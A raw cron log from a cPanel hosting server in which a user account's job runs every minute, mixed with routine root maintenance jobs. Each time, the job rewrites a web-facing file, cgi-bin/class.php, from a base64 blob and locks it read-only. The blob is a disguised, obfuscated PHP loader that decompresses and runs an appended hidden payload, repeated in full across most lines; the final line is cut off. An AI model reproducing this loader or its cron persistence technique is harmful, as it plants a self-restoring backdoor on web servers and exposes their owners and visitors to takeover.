Apr  6 06:23:01 server CROND[22884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:24:01 server CROND[22939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:25:01 server CROND[23009]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 06:25:01 server CROND[23010]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:25:01 server CROND[23011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:25:01 server CROND[23012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:26:01 server CROND[23127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:27:01 server CROND[23187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:27:01 server CROND[23188]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 06:28:01 server CROND[23244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:29:01 server CROND[23407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:30:01 server CROND[23479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:30:01 server CROND[23480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:30:01 server CROND[23483]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 06:30:01 server CROND[23484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:31:01 server CROND[23586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:32:01 server CROND[23638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:33:01 server CROND[23756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:34:01 server CROND[23930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:35:01 server CROND[23988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:35:01 server CROND[23993]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 06:35:01 server CROND[23995]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 06:35:01 server CROND[23997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:35:01 server CROND[23996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:36:01 server CROND[24108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KC